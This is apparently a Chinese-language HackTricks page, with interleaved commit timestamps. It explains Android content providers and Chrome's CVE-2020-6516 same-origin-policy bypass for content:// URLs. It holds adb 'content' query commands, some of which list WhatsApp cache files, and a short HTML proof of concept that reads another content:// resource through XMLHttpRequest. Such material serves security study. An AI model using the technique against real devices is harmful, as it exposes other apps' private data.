2022-04-28 16:01:33 +00:00
|
|
|
|
<details>
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
</details>
|
|
|
|
|
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
要尝试使用内容提供者,可以在Android设备上使用`content`命令。不一定需要root访问权限。例如,要查看由媒体存储管理的文件列表,可以执行以下命令:
|
2021-05-04 11:44:49 +00:00
|
|
|
|
```bash
|
|
|
|
|
$ content query --uri content://media/external/file
|
|
|
|
|
```
|
2023-08-03 19:12:22 +00:00
|
|
|
|
为了使输出更加用户友好,可以将显示的列限制为每个索引文件的标识符和路径。
|
2021-05-04 11:44:49 +00:00
|
|
|
|
```bash
|
|
|
|
|
$ content query --uri content://media/external/file --projection _id,_data
|
|
|
|
|
```
|
2023-08-03 19:12:22 +00:00
|
|
|
|
媒体提供者存在于它们自己的私有命名空间中。如上例所示,要访问内容提供者,应指定相应的 `content://` URI。通常,可以通过查看应用程序清单(如果内容提供者由应用程序导出)或Android框架的源代码来恢复可以访问提供者的路径信息。
|
2021-05-04 11:44:49 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
有趣的是,在Android设备上,Chrome支持通过 `content://` 方案访问内容提供者。这个功能允许浏览器访问第三方应用程序导出的资源(例如照片、文档等)。为了验证这一点,可以在媒体存储中插入一个自定义条目,然后使用浏览器访问它:
|
2021-05-04 11:44:49 +00:00
|
|
|
|
```bash
|
|
|
|
|
$ cd /sdcard
|
|
|
|
|
$ echo "Hello, world!" > test.txt
|
|
|
|
|
$ content insert --uri content://media/external/file \
|
2023-08-03 19:12:22 +00:00
|
|
|
|
--bind _data:s:/storage/emulated/0/test.txt \
|
|
|
|
|
--bind mime_type:s:text/plain
|
2021-05-04 11:44:49 +00:00
|
|
|
|
```
|
2023-08-03 19:12:22 +00:00
|
|
|
|
要发现新插入文件的标识符:
|
2021-05-04 11:44:49 +00:00
|
|
|
|
```bash
|
|
|
|
|
$ content query --uri content://media/external/file \
|
2023-08-03 19:12:22 +00:00
|
|
|
|
--projection _id,_data | grep test.txt
|
2021-05-04 11:44:49 +00:00
|
|
|
|
Row: 283 _id=747, _data=/storage/emulated/0/test.txt
|
|
|
|
|
```
|
2023-08-03 19:12:22 +00:00
|
|
|
|
而要在Chrome中查看文件,可以使用以下图片中显示的URL。请注意,文件标识符747(上面发现的)被用作URL的后缀。
|
2021-05-04 11:44:49 +00:00
|
|
|
|
|
2021-10-18 11:21:18 +00:00
|
|
|
|
![Chrome "Hello, world!"](https://census-labs.com/media/whatsapp-screenshot-hello-world.png)
|
2021-05-04 11:44:49 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
例如,您可以列出与WhatsApp相关的所有文件:
|
2021-05-04 11:44:49 +00:00
|
|
|
|
```bash
|
|
|
|
|
$ content query --uri content://media/external/file --projection _id,_data | grep -i whatsapp
|
|
|
|
|
...
|
|
|
|
|
|
|
|
|
|
Row: 82 _id=58, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache
|
|
|
|
|
Row: 83 _id=705, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/157.240.9.53.443
|
|
|
|
|
Row: 84 _id=239, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/crashlogs.whatsapp.net.443
|
|
|
|
|
Row: 85 _id=240, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/pps.whatsapp.net.443
|
|
|
|
|
Row: 86 _id=90, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/static.whatsapp.net.443
|
|
|
|
|
Row: 87 _id=706, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/v.whatsapp.net.443
|
|
|
|
|
Row: 88 _id=89, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/www.whatsapp.com.443
|
|
|
|
|
...
|
|
|
|
|
```
|
2023-08-03 19:12:22 +00:00
|
|
|
|
## Chrome CVE-2020-6516 Same-Origin-Policy绕过 <a href="#cve-2020-6516" id="cve-2020-6516"></a>
|
2021-05-04 11:44:49 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
浏览器中的_同源策略_(SOP)\[[12](https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin\_policy)] 规定,URL A的Javascript内容只能在以下URL属性保持相同的情况下访问URL B的内容:
|
2021-05-04 11:44:49 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* 协议,例如 `https` vs. `http`
|
|
|
|
|
* 域名,例如 `www.example1.com` vs. `www.example2.com`
|
|
|
|
|
* 端口,例如 `www.example1.com:8080` vs. `www.example1.com:8443`
|
2021-05-04 11:44:49 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
当然,上述规则也有例外情况,但通常情况下,来自 `https://www.example1.com` 的资源(例如一段Javascript代码)不能访问 `https://www.example2.com` 上的DOM,因为这会引入严重的信息泄漏。**除非Cross-Origin-Resource-Sharing(CORS)策略明确允许,否则Web资源不应该绕过SOP规则。**
|
2021-05-04 11:44:49 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
需要注意的是,Chrome将 `content://` 视为_本地方案_,就像 `file://` 一样。在这种情况下,SOP规则更加严格,因为每个本地方案URL都被视为单独的源。例如,位于 **file:///tmp/test.html** 中的Javascript代码不应该能够访问 **file:///tmp/test2.html** 或者文件系统上的任何其他文件。**因此,根据SOP规则,通过 `content://` 加载的资源不应该能够访问任何其他 `content://` 资源。**然而,Chrome的漏洞CVE-2020-6516为此规则创建了一个“例外”。
|
2021-05-04 11:44:49 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
CVE-2020-6516 \[[03](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-6516)] 是通过 `content://` URL加载的资源的SOP绕过。**例如,从 `content://com.example.provider/test.html` 加载的HTML文档中运行的Javascript代码可以加载和访问通过 `content://` URL加载的任何其他资源。**这是一个严重的漏洞,特别是在运行Android 9或之前版本的设备上。在这些设备上,未实现作用域存储 \[[13](https://developer.android.com/about/versions/10/privacy/changes#scoped-storage)],因此可以通过系统的媒体存储内容提供程序访问位于 **/sdcard** 下的应用程序特定数据,更有趣的是可以访问位于 **/sdcard/Android** 下的数据。
|
2021-05-04 11:44:49 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
一个简单的概念验证。将使用 `XMLHttpRequest` 访问任意 `content://` URL 的HTML文档上传到 **/sdcard** 下。然后将其添加到媒体存储中,并在Chrome中呈现,类似于之前展示的示例。为了演示目的,可以尝试加载 `content://media/external/file/747`,实际上这是“Hello, world!”示例的媒体存储URL。令人惊讶的是,运行在HTML文档源中的Javascript代码将获取并显示 **test.txt** 的内容。
|
2021-05-04 11:44:49 +00:00
|
|
|
|
```markup
|
|
|
|
|
<html>
|
|
|
|
|
<head>
|
2023-08-03 19:12:22 +00:00
|
|
|
|
<title>PoC</title>
|
|
|
|
|
<script type="text/javascript">
|
|
|
|
|
function poc()
|
|
|
|
|
{
|
|
|
|
|
var xhr = new XMLHttpRequest();
|
|
|
|
|
|
|
|
|
|
xhr.onreadystatechange = function()
|
|
|
|
|
{
|
|
|
|
|
if(this.readyState == 4)
|
|
|
|
|
{
|
|
|
|
|
if(this.status == 200 || this.status == 0)
|
|
|
|
|
{
|
|
|
|
|
alert(xhr.response);
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
xhr.open("GET", "content://media/external/file/747");
|
|
|
|
|
xhr.send();
|
|
|
|
|
}
|
|
|
|
|
</script>
|
2021-05-04 11:44:49 +00:00
|
|
|
|
</head>
|
|
|
|
|
<body onload="poc()"></body>
|
|
|
|
|
</html>
|
|
|
|
|
```
|
2023-08-03 19:12:22 +00:00
|
|
|
|
**从这篇文章中获取的信息:** [**https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/**](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<details>
|
|
|
|
|
|
2023-04-25 18:35:28 +00:00
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- 你在一家**网络安全公司**工作吗?想要在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- 获取[**官方PEASS和HackTricks的衣物**](https://peass.creator-spring.com)
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
</details>
|